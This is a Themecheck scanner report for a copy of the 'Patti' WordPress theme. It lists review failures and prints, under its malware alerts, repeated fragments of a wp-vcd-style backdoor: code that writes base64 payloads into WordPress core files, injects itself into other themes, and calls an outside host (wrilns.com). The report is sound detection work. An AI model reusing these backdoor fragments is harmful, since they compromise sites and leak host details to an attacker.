0
Validation results

Patti

Patti

WordPress 6.4.3 theme
0
  • THEME TYPEWordPress theme 6.4.3
  • FILE NAME94851_patti_v299.zip
  • FILE SIZE57129139 bytes
  • MD5cbe77af5ced97914f2a65955e4252de9
  • SHA1790c3491e6d790cf0b2c94a603066cc0d7bbac29
  • LICENSEGNU GPL 3
  • FILES INCLUDEDCSS, PHP, HTML, XML, Bitmap images, Adobe Photoshop, Adobe Illustrator
  • THEME URIhttp://deliciousthemes.com/
  • VERSION2.9.9
  • AUTHOR URI
  • CREATION DATE2019-11-07
  • LAST FILE UPDATE2019-11-07
  • LAST VALIDATION2019-11-07 15:24
This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.
Critical alerts
  1. Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file extension_customizer.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
  2. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  3. Security breaches : Modification of PHP server settings Found ini_set in file class.theme-modules.php. 5: ini_set('display_errors', 0);
  4. Security breaches : Use of base64_decode() Found base64_decode in file OAuth.php. 202: $decoded_sig = base64_decode($signature);Found base64_decode in file class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )95: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  5. Security breaches : Use of base64_encode() Found base64_encode in file OAuth.php.
     return base64_encode(hash_hmac('sha1', $base_string, $key, true));
     return base64_encode($signature);
  6. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe class="dt-youtube" width="' .$width. '" height="'.$height.'" src="//www.youtube.com/embed/'.$id.'" frameborder="0" allowfullscreen> in file functions.php. 709: echo '<div class='post-video'><iframe class='dt-youtube' width='' .$width. '' height=''.$height.'' src='/
  7. Malware : Operations on file system fopen was found in the file class.redux_helpers.php 659: //$fp = fopen( $file, 'r' );fread was found in the file class.redux_helpers.php 662: //$file_data = fread( $fp, 8192 );fclose was found in the file class.redux_helpers.php 665: //fclose( $fp );file_get_contents was found in the file sample.php 1281: 'content' => file_get_contents(dirname(__FILE__) . '/../README.md')1501: 'content' => nl2br(file_get_contents(trailingslashit(dirname(__FILE__)) . 'README.html'))file_get_contents was found in the file sample.php 1281: 'content' => file_get_contents(dirname(__FILE__) . '/../README.md')1501: 'content' => nl2br(file_get_contents(trailingslashit(dirname(__FILE__)) . 'README.html'))file_put_contents was found in the file envato-setup-export.php 216: file_put_contents( $dir . 'default.json' , json_encode( $default_content ) 217: file_put_contents( $dir . 'widget_positions.json' , json_encode( $widget_po218: file_put_contents( $dir . 'widget_options.json' , json_encode( $widget_opti219: file_put_contents( $dir . 'menu.json' , json_encode( $menu_ids ) );220: file_put_contents( $dir . 'options.json' , json_encode( $my_options ) );file_put_contents was found in the file envato-setup-export.php 216: file_put_contents( $dir . 'default.json' , json_encode( $default_content ) 217: file_put_contents( $dir . 'widget_positions.json' , json_encode( $widget_po218: file_put_contents( $dir . 'widget_options.json' , json_encode( $widget_opti219: file_put_contents( $dir . 'menu.json' , json_encode( $menu_ids ) );220: file_put_contents( $dir . 'options.json' , json_encode( $my_options ) );file_put_contents was found in the file envato-setup-export.php 216: file_put_contents( $dir . 'default.json' , json_encode( $default_content ) 217: file_put_contents( $dir . 'widget_positions.json' , json_encode( $widget_po218: file_put_contents( $dir . 'widget_options.json' , json_encode( $widget_opti219: file_put_contents( $dir . 'menu.json' , json_encode( $menu_ids ) );220: file_put_contents( $dir . 'options.json' , json_encode( $my_options ) );file_put_contents was found in the file envato-setup-export.php 216: file_put_contents( $dir . 'default.json' , json_encode( $default_content ) 217: file_put_contents( $dir . 'widget_positions.json' , json_encode( $widget_po218: file_put_contents( $dir . 'widget_options.json' , json_encode( $widget_opti219: file_put_contents( $dir . 'menu.json' , json_encode( $menu_ids ) );220: file_put_contents( $dir . 'options.json' , json_encode( $my_options ) );file_put_contents was found in the file envato-setup-export.php 216: file_put_contents( $dir . 'default.json' , json_encode( $default_content ) 217: file_put_contents( $dir . 'widget_positions.json' , json_encode( $widget_po218: file_put_contents( $dir . 'widget_options.json' , json_encode( $widget_opti219: file_put_contents( $dir . 'menu.json' , json_encode( $menu_ids ) );220: file_put_contents( $dir . 'options.json' , json_encode( $my_options ) );file_get_contents was found in the file OAuth.php 272: file_get_contents(self::$POST_INPUT)file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);
  8. Malware : Network operations curl_init was found in the file twitteroauth.php 195: $ci = curl_init();curl_exec was found in the file twitteroauth.php 221: $response = curl_exec($ci);
  9. Admin menu : Themes should use add_theme_page() for adding admin pages. File config.php : 1400: 'page_parent' => 'themes.php', // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#ParametersFile welcome.php : 201: $page = 'add_management_page';File framework.php : 1361: // wrappers and need to be appened to using add_submenu_page.1412: $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permission1470: call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['tFile framework.php : 1361: // wrappers and need to be appened to using add_submenu_page.1412: $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permission1470: call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['tFile framework.php : 1438: $this->page = call_user_func( 'add_menu_page', $this->args['page_title'], $this->args['menu_title'], $thisFile framework.php : 1361: // wrappers and need to be appened to using add_submenu_page.1412: $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permission1470: call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['tFile sample.php : 1559: 'page_parent' => 'themes.php', // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters
  10. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : functions.php.
  11. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was envato-market.zip ultimate_vc_addons.zip js_composer.zip templatera.zip delicious-shortcodes.zip revslider.zip fullscreen-image-slider.zip fullwidth-image-slider.zip fullscreen-video-slider.zip.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in enqueue.php. Themes must not deregister core scripts. 215: wp_deregister_script( 'jquerySelect2' );Found wp_deregister_script in framework.php. Themes must not deregister core scripts. 565: wp_deregister_script( 'wpb_ace' );Found wp_deregister_script in functions.php. Themes must not deregister core scripts. 46: wp_deregister_script( 'prettyphoto' );
  2. special URIs : Presence of bad theme tagsTheme URI and Author URI should not be the same.
  3. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  4. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Current theme preview' in file sample.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Current theme preview' in file sample.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' in file sample.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Setup Wizard' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Setup Wizard' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Setup Wizard' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Setup Wizard' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Introduction' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Plugins' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Updates' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Ready!' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments '...verifying' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Theme &rsaquo; Setup Wizard' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Return to the WordPress Dashboard' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Welcome to the setup wizard for %s.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'It looks like you may have recently upgraded to this theme. Great! This setup wizard will help ensure all the default settings are correct. It will also show some information about your new website and support options.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Let\'s Go!' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Not right now' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Welcome to the setup wizard for %s.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'It looks like you have already run the setup wizard. Below are some options: ' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Run Setup Wizard Again' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Reset font style and colors' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Cancel' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Welcome to the setup wizard for %s.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Thank you for choosing the %s theme from ThemeForest. This quick setup wizard will help you configure your new website. This wizard will install the required WordPress plugins and tell you a little about your options. It should only take a few minutes.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'No time right now? If you don\'t want to go through the wizard, you can skip and return to the WordPress dashboard. Come back anytime at Appearance->Setup Wizard if you change your mind!' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Let\'s Go!' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Not right now' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Options have been reset. Please go to Appearance > Customize in the WordPress backend.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Default Plugins' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Your website needs a few essential plugins. The following plugins will be installed or updated:' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Good news! All plugins are already installed and up to date. Please continue.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'You can add and remove plugins later on from within WordPress.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Continue' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Skip this step' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'No Slug Found' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Activating Plugin' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Updating Plugin' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Installing Plugin' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Success' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'This will create default %s as seen in the demo.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Pending.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Installing.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Success.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Widgets' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Insert default sidebar widgets as seen in the demo.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Pending.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Installing Default Widgets.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Success.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Settings' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Configure default settings.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Pending.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Installing Default Settings.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Success.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Default Content' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'It looks like you already have content installed on this website. If you would like to install the default demo content as well you can select it below. Otherwise just choose the upgrade option to ensure everything is up to date.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'It\'s time to insert some default content for your new WordPress website. Choose what you would like inserted below and click Continue. It is recommended to leave everything selected. Once inserted, this content can be managed from the WordPress admin dashboard. ' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Item' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Description' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Status' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Continue' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Skip this step' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'No content Found' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Error' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Remote server did not respond' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Remote file is incorrect size' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Zero size file downloaded' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Remote file is too large, limit is %s' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Site Style' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Please choose your site style below.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Continue' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Skip this step' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Logo' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Please add your logo below. For best results, the logo should be a transparent PNG ( 466 by 277 pixels). The logo can be changed at any time from the 